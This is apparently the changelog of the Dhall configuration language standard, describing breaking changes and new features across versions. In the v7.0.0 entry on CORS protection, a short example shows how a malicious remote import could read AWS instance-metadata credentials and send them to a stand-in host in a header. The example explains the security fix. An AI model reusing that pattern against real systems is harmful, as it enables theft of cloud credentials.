    • Headers are now automatically forwarded to relative imports

      In other words, if you import https://example.com/foo.dhall using someHeaders and that in turn imports ./bar.dhall then that will resolve to https://example.com/bar.dhall using someHeaders. In other words, the same headers used to fetch foo.dhall will also be used to fetch bar.dhall.

      This is most commonly used resolve transitive imports for expressions hosted within a private repository that requires authenticated headers.

  • Allow self-describe-cbor when decoding

    This extends the binary decoding logic to permit (and ignore) CBOR tag 55799, as required by the CBOR RFC.

    This is not a breaking change: this only permits more CBOR expressions to be decoded than before.

Other changes:

v7.0.0

Breaking changes:

  • Protect transitive remote imports with CORS check

    This change protects against server-side request forgery by preventing remote imports from importing transitive remote imports that do not explicitly opt in via CORS.

    For example, a simple way to exploit an AWS EC2 instance before this change is to ask the instance to interpret https://example.com/malicious, where:

    • https://example.com/malicious imports https://example.com/recordsHeaders using https://example.com/stealCredentials

    • https://example.com/stealCredentials contains

      [ { header = "Credentials"
  , value = http://169.254.169.254/latest/meta-data/iam/security-credentials/role as Text
  }
]

    This is a breaking change because now the import of http://169.254.169.254 would be rejected, as the response would not include an Access-Control-Allow-Origin header permitting itself to be transitively imported.

    Similarly, this change protects against an external internet import from triggering an interpreter request against a potentially sensitive intranet endpoint unless that intranet endpoint had enabled CORS whitelisting that external domain.

  • Remove support for fragment identifiers

    Fragment identifiers are not useful for remote imports since:

    • They don't affect import resolution because:
      • They are not used to resolve the host
      • They are not transmitted to the host as part of the path to fetch
      • More generally, fragments are required by RFC 3986 to be interpreted client-side (if at all)
    • They don't identify any "sub-section" of a Dhall expression to fetch

    Therefore, we remove support for them in the grammar and the binary encoding.

    This is a breaking change to the binary encoding, although this does not affect semantic integrity checks because they are fully resolved and therefore don't include imports.

  • Unescape unquoted URI path components

    With this change all unquoted URI paths will be unescaped on parsing, and all URI components will be escaped before importing.

    This changes the binary encoding, e.g. the following expressions used to encode to the same bytes, but now don't:

    • https://example.com/a%20b/c
    • https://example.com/"a%20b"/c

  • Simplify text concatenation normalization

    From now on, the "text concatenation" operator is interpreted as two interpolations together:

    "${l}${r}" ⇥ s₀
─────────────────────
l ++ r ⇥ s₀

    This is a breaking change, as the following expression:

    λ( a : Text ) → λ( b : Text ) → a ++ b

    ..used to normalize to itself, while now it normalizes to:

    λ( a : Text ) → λ( b : Text ) → "${a}${b}"

New features:

  • Add support for union alternatives without fields

    This adds support for unions with empty alternatives that don't store any values. In the simple case where the union has all empty alternatives it degenerates to an enum.

    For example this is now possible:

    let Role = < Wizard | Fighter | Rogue >

let show : Role → Text
    show =
        λ(x : Role)
      → merge { Wizard = "Wizard", Fighter = "Fighter", Rogue = "Rogue" } x

in  show Role.Wizard

    Note that the corresponding handlers don't need to take a function argument any longer; that is, handlers for empty alternatives no longer have to bind unused arguments of type {} and constructors for empty alternatives no longer have to take an input of {=}.

  • Expand character set for quoted labels

    This expands quoted labels to permit all non-control ASCII characters except backticks, so e.g. this is now allowed:

    { `<>.\!@#$%^&*()*` = 42 }

  • Allow builtin names as fields

    Up until now it was not possible to use builtin names anywhere except when invoking builtins. This caused some common idioms to be uncomfortable to use, e.g. in order to use builtin names in record fields one needed to quote them:

    let Prelude = https://prelude.dhall-lang.org/package.dhall

in  Prelude.`List`.map

    This change allows using builtin names for anything but bound variables, so this is now allowed:

    let Prelude = https://prelude.dhall-lang.org/package.dhall

in  Prelude.List.map

  • Fix typechecking of Sorts in records

    This fixes a limitation of the record typechecking, for which Sorts were forbidden in record types.

    So the following didn't use to typecheck but now do:

    • { a : Kind → Kind } with type Sort
    • { a : { b : Kind } } with type Sort
    • { a : { b : Kind → Kind } } with type Sort
    • { a = { b = Type } } with type { a : { b : Kind } }

Other changes:

v6.0.0

Breaking changes:

  • Don't tag encoded expressions with their hash

    Up until now, every new release of the standard required upgrading semantic integrity checks since the standard version is included in the input to the hash. The original intent was to fail fast so that users wouldn't attempt to decode a malformed expression if the binary format changed.

    Now the standard is stable enough that the hash is quickly becoming the only thing that changes for encoded expressions, so this change removes the version from the input to semantic integrity check. This implies that semantic integrity checks should now be stable across future standard versions (modulo backwards-incompatible changes to the binary format, which may still happen, but much less often).

    This should ease one of the biggest pain points when upgrading interpreters to support newer releases of the standard.

  • Remove constructors keyword

    This is phase 3 of the plan to deprecate the constructors keyword, which you can find here:

    This phase removes the constructors keyword for the language so that new implementations of the Dhall configuration language have one less thing they need to implement.

    If you still haven't migrated yet, the migration is simple: in most cases you can delete the constructors keyword and your code will still work. The above link explains how to handle the few cases that might still break as a result of this change.

  • Add referential sanity check

    The referential sanity check is a long-standing feature of the Haskell implementation that is now upstreamed into the standard. This check is both a security feature and also a "sanity" feature.

    This check prevents a remote import from importing a local import (i.e. a local file or environment variable). The exception is that a remote import can still contain a relative import (which still resolves to a remote import when canonicalized).

    Without this check a malicious remote import could exfiltrate the contents of sensitive local files or environment variables using the language's support for custom HTTP headers.

    This check is also "sane" in the sense that remote imports are globally addressable, whereas local imports are not, and it doesn't make sense for something advertised as globally addressable to depend on imports that are not globally addressable.

  • CBOR-encode only some special values as half-floats

    This is a breaking change to the binary representation of Double literals in order to support porting Dhall to a wider range of languages, many of which might not support half-width Double representations.

    This change only now encodes all Double literals using at least 32 bits, with the exception of special values like NaN or Infinity.

  • Sort record and union fields before CBOR encoding them

    Implementations must now sort record fields and union alternatives when serializing Dhall expressions. The motivation for this change is to simplify implementation of the language for interpreters so that they don't need to use order-preserving maps for recording the original source order of fields/alternatives.

    Implementations can still internally use order-preserving maps if they want to support non-standard features (like code formatting or better error messages), but restricting the standard serialization format to sorted fields/alternatives ensure binary interoperability with other implementations.

    Note that this is not a breaking change for semantic integrity checks. Fields/alternatives were already sorted for semantic integrity checks since the expression is β-normalized before being hashed (and β-normalization already sorts fields).

    However, this is a potentially breaking change when serializing Dhall expressions in other contexts when the expressions have not yet been β-normalized (i.e. serializing and transmitting uninterpreted Dhall code over the wire).

New features:

  • Add Unicode support for quoted path characters

    You can now use arbitrary Unicode characters in quoted path components, like this:

    ./families/"禺.dhall"

    This reflects the fact that users might not have control over the names of files that they wish to import.

  • Add Text/show built-in

    This adds a new Text/show built-in that converts a Text literal into equivalent Dhall source code:

    Text/show "ABC\ndef" = "\"ABC\\ndef\""

    The motivation for this is to enable using Dhall to generate Dhall code and also to use Dhall to generate JSON (since the output of Text/show is also JSON-compatible).

Other changes:

v5.0.0

Breaking changes:

  • constructors x = x

    This change the constructors keyword to behave like the identity function. In other words, the constructors keyword returns the union type provided as its argument.

    The intermediate record of constructors is no longer necessary now that you can access constructors directly from the original union type. For example, this code is unaffected by this change:

    let Either = < Left : Natural | Right : Bool >

let either = constructors Either

in  [ either.Left 1, either.Right True ]

    ... because before this change the intermediate either value would be a record with two fields named Left and Right and after this change the intermediate either value would be the original Either type which you can access the Left and Right constructors from directly. This code is now exactly equivalent to:

    let Either = < Left : Natural | Right : Bool >

in  [ Either.Left 1, Either.Right True ]

    The rationale for this change is to improve performance for users who haven't yet removed all occurrences of the constructors keyword from their code. Removing the intermediate record of constructors improves type-checking and normalization speed while minimizing disruption.

    This is still a breaking change for two reasons:

    • The most likely way this will break your code is you use record of terms that contains a sub-record built by the constructors keyword, like this:

      { foo = 1, bar = constructors < Left : Natural | Right : Bool > }

      The above example was permitted before this change and is not permitted after this change, since the bar field transforms from a term into a type and records can't mix terms (like foo) and types (like bar)

    • A less likely way this will break your code is that you gave a type annotation to the output of the constructors keyword, like this:

      let Either = < Left : Natural | Right : Bool >

let either : { Left : Natural → Either, Right : Bool → Either }
      = constructors Either

in  [ either.Left 1, either.Right True ]

      The above example would succeed before this change, but fail after this change due to the type of either changing to Type.

    This is phase 2 of the plan to deprecate the constructors keyword, which you can find here:

  • Disallow labels that match builtins or keywords

    Before this change the following expression was technically legal, albeit potentially confusing:

    let if = 1 in if

    After this change the above expression is no longer legal.

    One motivation for this change is to ensure better error messages. Parsers can more convincingly explain parse failures to users when they don't have to consider the possibility that these keywords might have been variable names.

    Another motivation is to forbid users from writing misleading code by naming things after keywords.

New features:

  • Standardize support for multi-line literals

    This is a feature that was part of the Haskell bindings to Dhall that has been upstreamed into the standard.

    The standard grammar specified how to parse multi-line string literals but not how to interpret them as Text literals. This change specifies how to desugar them into ordinary double-quoted string literals.

    For example, this multi-line string literal:

    λ(x : Text) → ''
  ${x}    baz
      bar
    foo
    ''

    ... is syntactic sugar for this expression:

    λ(x : Text) → "${x}    baz\n    bar\n  foo\n  "

  • Standardize support for as Text

    This is a feature that was part of the Haskell bindings to Dhall that has been upstreamed into the standard.

    This allows an import to be imported as raw Text rather than being interpreted as a Dhall expression. For example:

    $ FOO=1 dhall <<< 'env:FOO'
1
$ FOO=1 dhall <<< 'env:FOO as Text'
"1"

    This can be used to read in text from imports without having to modify them to pre-quote the contents. This comes in handy when modifying the original import is not an option.

  • Forbid import cycles

    This is a feature that was part of the Haskell bindings to Dhall that has been upstreamed into the standard.

    This forbids import cycles, such as the following trivial cycle:

    $ cat ./foo
./bar

$ cat ./bar
./foo

    More generally, no import may transitively depend on itself.

    This is not treated as a breaking change since the code that this disallows was already broken. Conceptually, all this change does is improve the user experience so that the program fails fast upon detecting a cycle instead of getting stuck in an infinite import loop.

  • Allow nested records of types

    Before this change you could have a record of types, but you could not nest another record of types within that record. After this change, a record of types counts as a type, meaning that you can mix it with other types within a record.

    For example, the following record was previously forbidden and is now legal:

    { user = { name : Text, age : Natural }, region = Text }

Other changes:

v4.0.0

Breaking changes:

New features:

  • Add union constructor selection

    This feature improves the ergonomics of using union types so that you no longer need to use the constructors keyword to generate a record of constructors. Instead, you can use the . operator to access constructors directly from the original union type.

    In other words, instead of writing this:

        let Example = < Left : Natural | Right : Bool >

in  let example = constructors Example

in  [ example.Left 1, example.Right True ]

    ... you can now write this:

        let Example = < Left : Natural | Right : Bool >

in  [ Example.Left 1, Example.Right True ]

    This is phase 1 of the plan to deprecate the constructors keyword, which you can find here:

  • Add support for let expressions with multiple let bindings

    You no longer need to nest let expressions in order to define multiple values. Instead, you can define multiple let bindings within a single let expression.

    In other words, instead of writing this:

        let x = 1

in  let y = 2

in  x + y

    ... you can now write this:

    let x = 1

let y = 2

in  x + y

    See also:

  • Add support for quoted path components

    You can now quote path components for both file paths and URLs.

    For example:

    /"foo"/bar/"baz qux"
    https://example.com/foo/"bar?baz"?qux

    Quoted URL path components are automatically percent-encoded when URLs are resolved. For example, the above URL is translated to:

    https://example.com/foo/bar%3Fbaz?qux

Other changes:

v3.0.0

Breaking changes:

  • New Some/None constructors for Optional values

    Including: Prelude: Use new Some and None constructors

    You can now use Some and None to build Optional values, and Some does not require providing the type:

    -- The type annotations are optional, but provided for clarity

Some 1 : Optional Natural

None Natural : Optional Natural

    This is a breaking change because Some and None are now reserved keywords. For example, the following code breaks as a result of this change:

    λ(Some : Type) → Some

    This is also a breaking change because it removes Optional/Some and Optional/None from the Prelude

  • Add kind-polymorphism

    Including: Fix to allow type-level functions as record fields

    This adds support for kind-level programming by adding a new type-checking constant named Sort above Kind in the hierarchy of types:

    Type : Kind : Sort

    This is a breaking change because Sort is now a reserved keyword. For example, the following code breaks as a result of this change:

    λ(Sort : Type) → Sort

  • Update versioning policy for the standard and binary protocol

    This changes how the standard versions the binary protocol. The protocol now shares the same version number as the rest of the standard.

    That is not the breaking change, though, since it does not forbid older versions of the standard using the older protocol version string.

    The actual breaking change is that compliant interpreters can no longer mix language features from different versions of the standard within a single run of the interpreter. For example, you would not be able to an interpret an expression containing a new language feature alongside an import protected by a semantic integrity check preceding that language feature. Either the new language feature of the semantic integrity check would fail depending on which standard version the interpreter was implementing. Previously newer language features were compatible with older semantic integrity checks.

  • Normalize record types and literals generated by operators

    This ensures that records generated by operators have their fields sorted.

    For example, before this change, the following expression:

    { foo = 1 } ∧ { bar = True }

    ... would β-normalize to:

    { foo = 1, bar = True }

    ... and now β-normalizes to:

    { bar = True, foo = 1 }

    This is technically a breaking change in the sense that the standard no longer guarantees that record equality is order insensitive, although in practice records are usually only compared after they have been β-normalized (and therefore had their fields sorted).

New features:

Other changes:

v2.0.0

Breaking changes:

  • Fix α-normalization semantics

    Previously α-normalization would incorrectly normalize expressions with bound variables named _, such as this one:

    λ(x: Type) → _

    ... which would incorrectly α-normalize to:

    λ(_ : Type) → _

    ... but now correctly α-normalizes to:

    λ(_ : Type) → _@1

  • Disallow merging records of types and records of terms

    Previously the type system permitted merging records of types with records of terms, like this:

    { x = Text } ∧ { y = 1 }

    Now the type system forbids such an expression

  • Require whitespace when parsing the + operator

    Previously the parser would accept an expression without whitespace after the + operator, like this:

    λ(x : Natural) → 1 +x

    Now the parser requires whitespace after the +:

    λ(x : Natural) → 1 + x

  • Require non-empty whitespace after keywords

    Previously the parser would accept keywords immediately followed by punctuation, such as:

    if(True) then 1 else 2

    Now the parser requires whitespace after keywords:

    if (True) then 1 else 2

  • Sort fields/alternatives when β-normalizing records/unions

    Previously β-normalization would preserve the original order of fields.

    For example, a record like this used to be unaffected by β-normalization:

    { foo = 1, bar = 2 }

    ... but now β-normalization will sort the record fields, like this:

    { bar = 1, foo = 1 }

New features:

Other changes:

v1.0.0

Here we start versioning the language standard on its own.

Previously it was versioned together with the reference implementation, so see here for information on previous breaking changes to the language.